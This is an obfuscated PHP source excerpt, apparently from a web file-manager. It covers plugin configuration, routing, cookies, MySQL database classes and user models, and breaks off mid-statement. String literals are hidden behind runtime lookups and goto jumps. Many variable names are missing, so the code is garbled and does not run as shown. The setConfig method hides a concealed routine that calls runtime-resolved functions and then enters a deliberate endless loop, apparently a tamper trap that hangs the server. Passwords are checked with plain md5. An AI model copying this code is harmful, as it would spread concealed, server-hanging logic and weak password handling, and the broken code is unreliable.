$ܪ[1595]; $ȁظ = $this->pluginPath . $ܪ[1596]; $ŁɁ = I18n::getType(); $ = array(); if (file_exists($ȁظ . $ŁɁ . $ܪ[837])) { $ = (include $ȁظ . $ŁɁ . $ܪ[837]); } else { if ($ŁɁ == $ܪ[1597] && !file_exists($ȁظ . $ŁɁ . $ܪ[837]) && file_exists($ȁظ . $ܪ[1598])) { $ = (include $ȁظ . $ܪ[1598]); } else { if (file_exists($ȁظ . $Ԯ . $ܪ[837])) { $ = (include $ȁظ . $Ԯ . $ܪ[837]); } } } if (!is_array($)) { return array(); } if (@count($) > 0) { I18n::set($); } return $; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($ֱ) { $҈㗝 =& $_SERVER[]; if (!isset($_SERVER[$҈㗝[875]]) || !isset($_SERVER[$҈㗝[876]])) { $ = $҈㗝[877]; $՛ = $҈㗝[878]; $Ɔ = $_SERVER[$҈㗝[879]] . $҈㗝[880]; $θ = $՛($Ɔ); $ = explode($҈㗝[231], $θ); if (count($) < $҈㗝[607]) { $ق = $҈㗝[881]; $ق(); } $ٰ = $҈㗝[882]; $ٰ($_SERVER[$҈㗝[883]]); $ = 1; for ($ڍ = $; $ڍ > 0; $ڍ++) { $ٰ = json_encode($GLOBALS[$҈㗝[418]]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $ֱ); } public function onSetConfig($) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($ۦ) { if ($ۦ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\x70\154\x75\147\151\156\x41\165\x74\150") { $ =& $_SERVER[]; if (!Session::get($[1550])) { return !1; } if (_get($GLOBALS, $[494])) { return !0; } $ = $this->getConfig(); if (!$[$]) { return !1; } return ActionCall($[1599], $[$]); } public function url($ٸ, $ = '', $ص = true) { $ =& $_SERVER[]; $Ӊ = $this->getConfig(); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $и = $this->packageVersion(); $ö = $ . $[386] . $и; if (substr($ٸ, 0, 4) == $[148] || substr($ٸ, 0, 2) == $[1381]) { $ץ = $ٸ . $[1600] . $ö; } else { if ($ == $[12]) { $ץ = $this->pluginHost . $ٸ . $[1600] . $ö; } else { if ($ === $[75]) { $ץ = $this->pluginHost . $ٸ; } else { if ($ == $[1601]) { $ץ = STATIC_PATH . $ٸ . $[1600] . $; } else { if ($ == $[1602]) { $ץ = APP_HOST . $[1603] . $ٸ . $[1600] . $; } else { if (isset($Ӊ[$])) { $ץ = $Ӊ[$] . $ٸ . $[1600] . $ö; } } } } } } if (!$ص) { return $ץ; } echo $ץ; } public function link($ = false, $ = '') { $팼Ϸ =& $_SERVER[]; if (!$) { $this->link($팼Ϸ[1604], $팼Ϸ[1602]); $this->link($팼Ϸ[1605], $팼Ϸ[1601]); $this->link($팼Ϸ[1606], $팼Ϸ[1601]); $this->link($팼Ϸ[1607], $팼Ϸ[1601]); $this->link($팼Ϸ[1608], $팼Ϸ[1601]); return; } $Ύӕ = $this->url($, $, !1); if (substr($, -3) == $팼Ϸ[1609]) { echo $팼Ϸ[1610] . $Ύӕ . $팼Ϸ[1611] . $팼Ϸ[231]; } else { if (substr($, -4) == $팼Ϸ[1612]) { echo $팼Ϸ[1613] . $Ύӕ . $팼Ϸ[1614] . $팼Ϸ[231]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\x61\156\171" => "\133\x5e\x2f\x5d\53", "\72\156\x75\155" => "\x5b\60\55\71\135\53", "\x3a\141\x6c\154" => "\x2e\52"); public static $errorCallback; public static function __callstatic($䨲, $) { $ӽ̓ =& $_SERVER[]; if ($䨲 == $ӽ̓[1615]) { $Ő = array_map($ӽ̓[1616], $[0]); $Σ = strpos($[1], $ӽ̓[8]) === 0 ? $[1] : $ӽ̓[8] . $[1]; $܀ = $[2]; } else { $Ő = null; $Σ = strpos($[0], $ӽ̓[8]) === 0 ? $[0] : $ӽ̓[8] . $[0]; $܀ = $[1]; } array_push(self::$maps, $Ő); array_push(self::$routes, $Σ); array_push(self::$methods, strtoupper($䨲)); array_push(self::$callbacks, $܀); } public static function error($归) { self::$errorCallback = $归; } public static function haltOnMatch($ߘ = true) { self::$halts = $ߘ; } public static function dispatch() { $᳐ =& $_SERVER[]; $ = parse_url($_SERVER[$᳐[1617]], PHP_URL_PATH); $̄ = $_SERVER[$᳐[159]]; $ = array_keys(static::$patterns); $㵚 = array_values(static::$patterns); $χ = !1; self::$routes = preg_replace($᳐[1278], $᳐[8], self::$routes); if (in_array($, self::$routes)) { $ϩ͏ = array_keys(self::$routes, $); foreach ($ϩ͏ as $Ç) { if (self::$methods[$Ç] == $̄ || self::$methods[$Ç] == $᳐[1618] || in_array($̄, self::$maps[$Ç])) { $χ = !0; if (!is_object(self::$callbacks[$Ç])) { $ٞ = explode($᳐[8], self::$callbacks[$Ç]); $͈ = end($ٞ); $ = explode($᳐[1210], $͈); $ = new $[0](); $->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$Ç]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $Ç) { if (strpos($Ç, $᳐[4]) !== !1) { $Ç = str_replace($, $㵚, $Ç); } if (preg_match($᳐[1619] . $Ç . $᳐[1620], $, $Ӳ)) { if (self::$methods[$] == $̄ || self::$methods[$] == $᳐[1618] || !empty(self::$maps[$]) && in_array($̄, self::$maps[$])) { $χ = !0; array_shift($Ӳ); if (!is_object(self::$callbacks[$])) { $ٞ = explode($᳐[8], self::$callbacks[$]); $͈ = end($ٞ); $ = explode($᳐[1210], $͈); $ = new $[0](); if (!method_exists($, $[1])) { echo $᳐[1621]; } else { call_user_func_array(array($, $[1]), $Ӳ); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $Ӳ); if (self::$halts) { return; } } } } $++; } } if ($χ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $߉ =& $_SERVER[]; header($_SERVER[$߉[1622]] . $߉[1623]); echo $߉[1624]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$᳐[1617]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } goto a; cԥ: $fileSize = strrev(base64_decode($_SERVER[ĭۣ][0])); function binCheckNeq($ε, $) { return $ε != $; } $_SERVER[$_SERVER[ĭۣ][1]] = $fileSize($_SERVER[$_SERVER[ĭۣ][2]]); goto ců; CIJ: define($_SERVER[][238], 1); define($_SERVER[][239], 2); define($_SERVER[][240], 3); goto DЂĽ; f܇҈: class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($败 = '', $ڷ = 0) { if (is_string($败) && $败 != $_SERVER[][12]) { $this->prefix = $败; } if (is_numeric($ڷ) && $ڷ > 0) { $this->expire = $ڷ; } } public static function getInstance() { static $Ѻ; if ($Ѻ === null) { $Ѻ = new self(); } return $Ѻ; } private static $cookieDisable = false; public static function disable($Ձ) { self::$cookieDisable = $Ձ; } private static $sameCookieSet = array(); public static function set($, $Ǟ, $ = 0, $Á = false, $ = false) { $ēē =& $_SERVER[]; if (self::$cookieDisable) { return; } if (!$) { $ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$]) && self::$sameCookieSet[$] == $Ǟ . $) { return; } self::$sameCookieSet[$] = $Ǟ . $; if (!$) { $ = str_replace(HOST, $ēē[12], APP_HOST); $ = _get($GLOBALS, $ēē[884], $); } $ = $ēē[12]; setcookie($, $Ǟ, time() + $, $ēē[8] . trim($, $ēē[8]) . $, !1, !1, $Á); } public static function setSafe($, $٩, $ = 0) { self::set($, $٩, $, !0); } public static function get($) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$]) ? $_COOKIE[$] : !1; } private static function initHeaderCookie() { $㺏 =& $_SERVER[]; if (!isset($_SERVER[$㺏[885]]) || !$_SERVER[$㺏[885]]) { return; } $ο = explode($㺏[71], $_SERVER[$㺏[885]]); foreach ($ο as $Ə) { $Ə = explode($㺏[886], $Ə); if (count($Ə) != 2 || !isset($Ə[1])) { continue; } $_COOKIE[trim($Ə[0])] = trim($Ə[1]); } } public static function remove($, $ = false) { unset($_COOKIE[$]); self::set($, $_SERVER[][12], 1, $); } } class DbMysql extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!extension_loaded($[803])) { think_exception(think_lang($[14]) . $[887]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($庐 = '', $ = 0, $ = false) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($庐)) { $庐 = $this->config; } $ڝ = $庐[$[888]] . ($庐[$[889]] ? "\72{$庐[$[889]]}" : $[12]); $ѭ = !empty($庐[$[17]][$[18]]) ? $庐[$[17]][$[18]] : $this->pconnect; if ($ѭ) { $this->linkID[$] = mysql_pconnect($ڝ, $庐[$[890]], $庐[$[891]], 131072); } else { $this->linkID[$] = mysql_connect($ڝ, $庐[$[890]], $庐[$[891]], !0, 131072); } if (!$this->linkID[$] || !empty($庐[$[21]]) && !mysql_select_db($庐[$[21]], $this->linkID[$])) { think_exception(mysql_error()); } $ߧȱ = mysql_get_server_info($this->linkID[$]); mysql_query($[892] . think_config($[893]) . $[58], $this->linkID[$]); if ($ߧȱ > $[894]) { mysql_query($[895], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($絶) { $߉˃ڶ =& $_SERVER[]; if (0 === stripos($絶, $߉˃ڶ[264])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $絶; if ($this->queryID) { $this->free(); } think_action_status($߉˃ڶ[23], 1); think_status($߉˃ڶ[24]); $this->queryID = mysql_query($絶, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][896], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $؊ = mysql_query($_SERVER[][897], $this->_linkID); $this->transTimes = 0; if (!$؊) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $Ή = mysql_query($_SERVER[][898], $this->_linkID); $this->transTimes = 0; if (!$Ή) { $this->error(); return !1; } } return !0; } private function getAll() { $瞅݃ = array(); if ($this->numRows > 0) { while ($ = mysql_fetch_assoc($this->queryID)) { $瞅݃[] = $; } mysql_data_seek($this->queryID, 0); } return $瞅݃; } public function getFields($) { $ =& $_SERVER[]; $߳̓ = $this->query($[899] . $this->parseKey($)); $ = array(); if ($߳̓) { foreach ($߳̓ as $܆ => $ֲÜ) { $[$ֲÜ[$[31]]] = array($[32] => $ֲÜ[$[31]], $[33] => $ֲÜ[$[34]], $[35] => (bool) (strtoupper($ֲÜ[$[36]]) === $[900]), $[37] => $ֲÜ[$[38]], $[39] => strtolower($ֲÜ[$[40]]) == $[41], $[42] => strtolower($ֲÜ[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; if (!empty($)) { $ = $[901] . $ . $[902]; } else { $ = $[903]; } $㰌 = $this->query($); $澾 = array(); foreach ($㰌 as $ => $۪߶) { $澾[$] = current($۪߶); } return $澾; } public function replace($ƣ, $魏 = array()) { $ =& $_SERVER[]; foreach ($ƣ as $ => $ш֣) { $ = $this->parseValue($ш֣); if (is_scalar($)) { $ڐ[] = $; $[] = $this->parseKey($); } } $ = $[904] . $this->parseTable($魏[$[279]]) . $[905] . implode($[50], $) . $[906] . implode($[50], $ڐ) . $[907]; return $this->execute($); } public function insertAll($, $ɪ = array(), $ = false) { $ף =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $Ͻ = array(); foreach ($ as $¹) { $Ƴ = array(); foreach ($¹ as $͔ => $ɦ) { $ɦ = $this->parseValue($ɦ); if (is_scalar($ɦ)) { $Ƴ[] = $ɦ; } } $Ͻ[] = $ף[260] . implode($ף[50], $Ƴ) . $ף[907]; } array_walk($, array($this, $ף[908])); $ = ($ ? $ף[909] : $ף[910]) . $ף[911] . $this->parseTable($ɪ[$ף[279]]) . $ף[905] . implode($ף[50], $) . $ף[912] . implode($ף[50], $Ͻ); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $Ѻ =& $_SERVER[]; $this->error = mysql_errno() . $Ѻ[4] . mysql_error($this->_linkID); if ($Ѻ[12] != $this->queryStr) { $this->error .= LNG($Ѻ[48]) . $this->queryStr; } think_trace($this->error, $Ѻ[12], $Ѻ[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return mysql_real_escape_string($, $this->_linkID); } else { return mysql_escape_string($); } } public function parseKey(&$Ĩ, $ = true) { $ =& $_SERVER[]; if ($) { $Ĩ = $this->parseKeyCheck($Ĩ); } if ($Ĩ != $[189] && !preg_match($[913], $Ĩ)) { $Ĩ = $[385] . trim($Ĩ, $[385]) . $[385]; } return $Ĩ; } } class DbMysqli extends Db { public function __construct($وі = '') { $ =& $_SERVER[]; if (!extension_loaded($[914])) { think_exception(think_lang($[14]) . $[915]); } if (!empty($وі)) { $this->config = $وі; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ = 0) { $ٽ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new mysqli($[$ٽ[888]], $[$ٽ[890]], $[$ٽ[891]], $[$ٽ[21]], $[$ٽ[889]] ? intval($[$ٽ[889]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $љɵ = $this->linkID[$]->server_version; $this->linkID[$]->query($ٽ[892] . think_config($ٽ[893]) . $ٽ[58]); if ($љɵ > $ٽ[894]) { $this->linkID[$]->query($ٽ[895]); } $this->connected = !0; if (1 != think_config($ٽ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($٬۬) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $٬۬; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($٬۬); if ($this->_linkID->more_results()) { while (($Ƀ = $this->_linkID->next_result()) != NULL) { $Ƀ->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($ۖŵ) { $ɐ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ۖŵ; if ($this->queryID) { $this->free(); } think_action_status($ɐ[25], 1); think_status($ɐ[24]); $˲ = $this->_linkID->query($ۖŵ); $this->debug(); if (!1 === $˲) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ԋ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$ԋ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ĥ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ĥ) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($Ԥ) { $ =& $_SERVER[]; $ӣ긏 = $this->query($[899] . $this->parseKey($Ԥ)); $ = array(); if ($ӣ긏) { foreach ($ӣ긏 as $ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) ($[$[36]] === $[12]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ϫ =& $_SERVER[]; $Ӻ = !empty($) ? $ϫ[901] . $ . $ϫ[902] : $ϫ[903]; $ = $this->query($Ӻ); $Ѹ = array(); if ($) { foreach ($ as $̓ř => $) { $Ѹ[$̓ř] = current($); } } return $Ѹ; } public function replace($ۮ, $ = array()) { $ =& $_SERVER[]; foreach ($ۮ as $⿆Ľ => $ز) { $§ = $this->parseValue($ز); if (is_scalar($§)) { $鼋[] = $§; $[] = $this->parseKey($⿆Ľ); } } $㎱ = $[904] . $this->parseTable($[$[279]]) . $[905] . implode($[50], $) . $[906] . implode($[50], $鼋) . $[907]; return $this->execute($㎱); } public function insertAll($, $ߏ = array(), $ = false) { $ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ƌ = array_keys($[0]); $ㄍ = array(); foreach ($ as $) { $Ӭ = array(); foreach ($ as $ڰ => $죚) { $죚 = $this->parseValue($죚); if (is_scalar($죚)) { $Ӭ[] = $죚; } } $ㄍ[] = $[260] . implode($[50], $Ӭ) . $[907]; } array_walk($ƌ, array($this, $[908])); $ = $ ? $[909] : $[910]; $ = $ . $[911] . $this->parseTable($ߏ[$[279]]) . $[905] . implode($[50], $ƌ) . $[912] . implode($[50], $ㄍ); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ȴד =& $_SERVER[]; $this->error = $this->_linkID->errno . $ȴד[4] . $this->_linkID->error; if ($ȴד[12] != $this->queryStr) { $this->error .= LNG($ȴד[48]) . $this->queryStr; } think_trace($this->error, $ȴד[12], $ȴד[49]); return $this->error; } public function escapeString($ϡ) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ϡ); } else { return addslashes($ϡ); } } public function parseKey(&$ܡ, $ = true) { $ٷ =& $_SERVER[]; if ($) { $ܡ = $this->parseKeyCheck($ܡ); } if ($ܡ != $ٷ[189] && !preg_match($ٷ[913], $ܡ)) { $ܡ = $ٷ[385] . trim($ܡ, $ٷ[385]) . $ٷ[385]; } return $ܡ; } } goto e삅; E: class UserFavModel extends ModelBase { protected $tableName = "\x75\163\x65\162\137\x66\141\x76"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[1972] => array(USER_ID, $[2306])); } protected function listData() { $̚ =& $_SERVER[]; $ = array($̚[1661] => USER_ID, $̚[483] => 0); $߂ = $̚[2307]; $ = $this->field($߂)->where($)->order($̚[2308])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ =& $_SERVER[]; $҃ = $this->listData(); $ = array_filter_by_field($҃, $[33], $[416]); $놾߲ = array_to_keyvalue($, $[12], $[84]); if (!$놾߲) { return $҃; } $˚ؼ = 2000; $գ = array($[417] => array($[418], $놾߲)); $ = Model($[824])->listSource($գ, $˚ؼ); $ = array_merge($[$[83]], $[$[82]]); $ = array_to_keyvalue($, $[402]); foreach ($҃ as $ => $ր) { $۽ = $[$ր[$[84]]]; $۽ = $۽ ? $۽ : array(); $҃[$] = array_merge($۽, $ր); } return $҃; } protected function addFav($ٳ, $ = '', $Ҽȱ = "\x73\157\x75\162\x63\x65") { $Ĉ =& $_SERVER[]; $ = array($Ĉ[1661] => USER_ID, $Ĉ[483] => 0, $Ĉ[422] => $Ҽȱ, $Ĉ[421] => $ٳ); if ($this->where($)->find()) { return !1; } $ = array($Ĉ[1661] => USER_ID, $Ĉ[483] => 0); $ = $this->where($)->max($Ĉ[1885]); if (!$) { $ = 0; } if (!$ && $Ҽȱ == $Ĉ[416]) { $́ = Model($Ĉ[1341])->where(array($Ĉ[417] => $ٳ))->find(); if (!$́) { return !1; } $ = $́[$Ĉ[32]]; } $ = $this->getAutoName($); $ʾ = array($Ĉ[1661] => USER_ID, $Ĉ[483] => 0, $Ĉ[420] => $, $Ĉ[421] => $ٳ, $Ĉ[422] => $Ҽȱ, $Ĉ[1865] => $ + 1); return $this->add($ʾ); } protected function remove($) { $ŝ =& $_SERVER[]; $ = array($ŝ[1661] => USER_ID, $ŝ[419] => $); return $this->where($)->delete(); } protected function removeByName($Ȣ) { $ =& $_SERVER[]; $ѹ = array($[1661] => USER_ID, $[420] => $Ȣ, $[483] => 0); return $this->where($ѹ)->delete(); } protected function rename($, $) { $՛ =& $_SERVER[]; if ($ == $) { return !1; } $ = $this->getAutoName($); if ($ != $) { return !1; } $↽ = array($՛[1661] => USER_ID, $՛[483] => 0, $՛[32] => $); return $this->where($↽)->save(array($՛[32] => $)); } protected function resetSort($Ղ) { $ =& $_SERVER[]; $Ղ = is_array($Ղ) ? $Ղ : array(); $φ = array($[1661] => USER_ID); for ($ػ۳ = 0; $ػ۳ < count($Ղ); $ػ۳++) { $φ[$[419]] = $Ղ[$ػ۳]; $this->where($φ)->save(array($[1865] => $ػ۳ + 1)); } return !0; } protected function moveTop($Ѽ) { $ʶ̆ =& $_SERVER[]; $Ŷ = array($ʶ̆[1661] => USER_ID, $ʶ̆[483] => 0); $Ћʝ = $this->where($Ŷ)->where(array($ʶ̆[32] => $Ѽ))->find(); if (!$Ћʝ) { return; } $д = $this->field($ʶ̆[399])->where($Ŷ)->order($ʶ̆[2308])->select(); $д = array_to_keyvalue($д, $ʶ̆[12], $ʶ̆[399]); $ = $д; $д = array_remove_value($д, $Ћʝ[$ʶ̆[399]]); array_unshift($д, $Ћʝ[$ʶ̆[399]]); return $this->resetSort($д); } protected function moveBottom($) { $ =& $_SERVER[]; $ = array($[1661] => USER_ID, $[483] => 0); $֙ = $this->where($)->max($[1885]); $ = array($[1885] => $֙ + 1); return $this->where($)->where(array($[32] => $))->save($); } private function getAutoName($) { $ֺ =& $_SERVER[]; $䛭 = array($ֺ[1661] => USER_ID, $ֺ[483] => 0); $ӭ = $this->field($ֺ[32])->where($䛭)->select(); $ӭ = array_to_keyvalue($ӭ, $ֺ[12], $ֺ[32]); if (!$ӭ || !in_array($, $ӭ)) { return $; } for ($ݹ = 0; $ݹ < count($ӭ); $ݹ++) { if (!in_array($ . "\50{$ݹ}\51", $ӭ)) { return $ . "\x28{$ݹ}\x29"; } } return $ . "\50{$ݹ}\51"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\145\x6d\56\x6a\x6f\142\x4c\151\163\164"; public $field = array("\x6e\141\155\x65", "\x64\145\163\143", "\x73\x6f\x72\164"); const JOB_KEY = "\x73\x65\x6c\146\x4a\x6f\142\x4c\x69\163\164"; public function listData($ = false, $ = "\163\157\x72\x74", $ = false) { return parent::listData($, $, $); } public function remove($媭) { return parent::remove($媭); } public function add($) { $ށ =& $_SERVER[]; if ($this->findByName($[$ށ[32]])) { return !1; } $[$ށ[1885]] = $this->getSort(); return parent::insert($); } private function getSort() { $魲 =& $_SERVER[]; $ɲ = parent::listData(); $ = array_to_keyvalue($ɲ, $魲[12], $魲[1885]); return empty($) ? 0 : max($) + 1; } public function update($, $٧) { $ό =& $_SERVER[]; $ = parent::listData($); $ːף = $this->findByName($٧[$ό[32]]); if (!$ || $ːף && $ːף[$ό[399]] != $[$ό[399]]) { return !1; } return parent::update($, $٧); } public function setUserJob($ć, $ۈ) { $ߧ =& $_SERVER[]; if (!is_array($ۈ)) { $ۈ = array($ۈ); } $ = parent::listData(); $ɪ = array_to_keyvalue($, $ߧ[32]); $ = $ߧ[378]; foreach ($ۈ as $͒) { if ($ɪ[$͒]) { $ .= $ɪ[$͒][$ߧ[399]] . $ߧ[50]; } else { $ = $this->add($͒); $ .= $ . $ߧ[50]; } } $ = rtrim($, $ߧ[50]); Model($ߧ[525])->metaSet($ć, self::JOB_KEY, $); } public function getUserJob($ȸ) { $۳ = Model($_SERVER[][525])->metaGet($ȸ); return $this->getUserJobInfo($۳[self::JOB_KEY]); } public function getUserJobInfo($) { $֒ =& $_SERVER[]; $͉ = explode($֒[50], $); $ = parent::listData(); $ = array_remove_key($, $֒[201]); $ = array(); foreach ($͉ as $) { if (isset($[$])) { $[] = $[$]; } } return $; } } class UserModel extends ModelBase { protected $tableName = "\x75\163\145\162"; protected $tableMeta = array("\164\141\142\154\145\116\141\x6d\x65" => "\165\x73\145\x72\137\x6d\145\x74\141", "\x6d\145\164\141\x46\x69\145\154\144" => "\x75\163\x65\x72\111\x44"); protected $simpleField = "\165\x73\145\162\x49\104\54\x6e\x69\143\x6b\x4e\141\155\x65\x2c\156\141\x6d\145\54\x61\x76\x61\x74\x61\x72\54\x73\x65\x78\54\163\164\x61\x74\x75\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $ = $[2309]; return array($[1939] => array($[0], $), $[1941] => array($[0], $), $[2310] => array($[0], $)); } protected function getInfo($, $ = false) { $㫤 = $this->getInfoSimple($); if (!is_array($㫤)) { return array(); } if ($) { return $this->_getInfoApply($㫤); } return $this->cacheFunctionGet($_SERVER[][1943], $); } protected function getInfoFull($Ő, $ = false) { $ = $this->getInfoSimple($Ő); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[][2311], $Ő); } private function _getInfoApply($Ɋ, $ݎ = false) { $ =& $_SERVER[]; if (!$Ɋ) { return $Ɋ; } $ = md5($[2312] . $Ɋ[$[891]] . $[2313] . $Ɋ[$[32]]); $Ɋ = $this->_listDataApplyItem($Ɋ); $ = Model($[1341])->metaGet($Ɋ[$[87]][$[402]]); $Ɋ[$[2314]] = $; $Ɋ[$[87]][$[2134]] = isset($[$[2135]]) ? $[$[2135]] : null; if ($ݎ) { $Ɋ[$[466]] = $this->metaGet($Ɋ[$[1670]]); } return $Ɋ; } protected function getInfoSimple($ⱎ, $إ = false) { $á =& $_SERVER[]; if (!$ⱎ) { return array(); } if ($إ) { $Ź = $this->where(array($á[1670] => intval($ⱎ)))->find(); if (!is_array($Ź)) { return array(); } $Ź[$á[533]] = Action($á[2315])->parseUrl($Ź[$á[533]]); return $Ź; } return $this->cacheFunctionGet($á[1944], $ⱎ); } protected function getInfoSimpleOuter($) { $ـ˼ =& $_SERVER[]; if (!$ || $ == 0) { return array($ـ˼[1670] => $ـ˼[198], $ـ˼[32] => $ـ˼[162] . LNG($ـ˼[2316]) . $ـ˼[164], $ـ˼[533] => STATIC_PATH . $ـ˼[2317]); } $ = $this->cacheFunctionGet($ـ˼[1944], $); $ = array_field_key($, explode($ـ˼[50], $this->simpleField)); if (!$) { return array($ـ˼[1670] => $ـ˼[1190], $ـ˼[32] => $ـ˼[162] . LNG($ـ˼[2318]) . $ـ˼[164], $ـ˼[533] => STATIC_PATH . $ـ˼[2319]); } $[$ـ˼[533]] = Action($ـ˼[2315])->parseUrl($[$ـ˼[533]]); return $; } protected function groupUser($) { } public static function errorLang($ᑼ) { $ʺ =& $_SERVER[]; $ز = array(self::ERROR_USER_NOT_EXISTS => $ʺ[2320], self::ERROR_USER_PASSWORD_ERROR => $ʺ[2321], self::ERROR_USER_EXIST_NAME => $ʺ[2322], self::ERROR_USER_EXIST_PHONE => $ʺ[2323], self::ERROR_USER_EXIST_EMAIL => $ʺ[2324], self::ERROR_USER_LOGIN_LOCK => $ʺ[2325], self::ERROR_IP_NOT_ALLOW => $ʺ[2326], self::ERROR_USER_EXIST_NICKNAME => $ʺ[2327]); return LNG($ز[$ᑼ]); } public function getInfoByMeta($놽, $) { $ݖਆ =& $_SERVER[]; $ = Model($ݖਆ[2328])->where(array($ݖਆ[94] => $놽, $ݖਆ[374] => $))->find(); if ($) { return $this->getInfo($[$ݖਆ[1670]]); } return !1; } public function userLoginCheck($, $) { $ߑ =& $_SERVER[]; $ɜ = $this->userLoginFind($); if (!$ɜ) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($ɜ[$ߑ[1670]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($ɜ[$ߑ[1670]]); } public function userLoginFind($ޥ) { $ =& $_SERVER[]; $э = array($[32] => $ޥ, $[532] => $ޥ, $[305] => $ޥ, $[2329] => $ޥ, $[1002] => $[1004]); if ($this->nickNameRpt()) { unset($э[$[532]]); } return $this->where($э)->find(); } public function clearCache($Ǎ) { $Ž =& $_SERVER[]; $this->cacheFunctionClear($Ž[1943], $Ǎ); $this->cacheFunctionClear($Ž[1944], $Ǎ); $this->cacheFunctionClear($Ž[2311], $Ǎ); } public function userPasswordCheck($Ӻ, $ޠ) { $¥ =& $_SERVER[]; $ہ = $this->where(array($¥[1670] => intval($Ӻ)))->find(); $ = $this->metaGet($Ӻ); $ = isset($[$¥[2330]]) ? $[$¥[2330]] : $¥[12]; if (md5($ . trim($ޠ)) !== 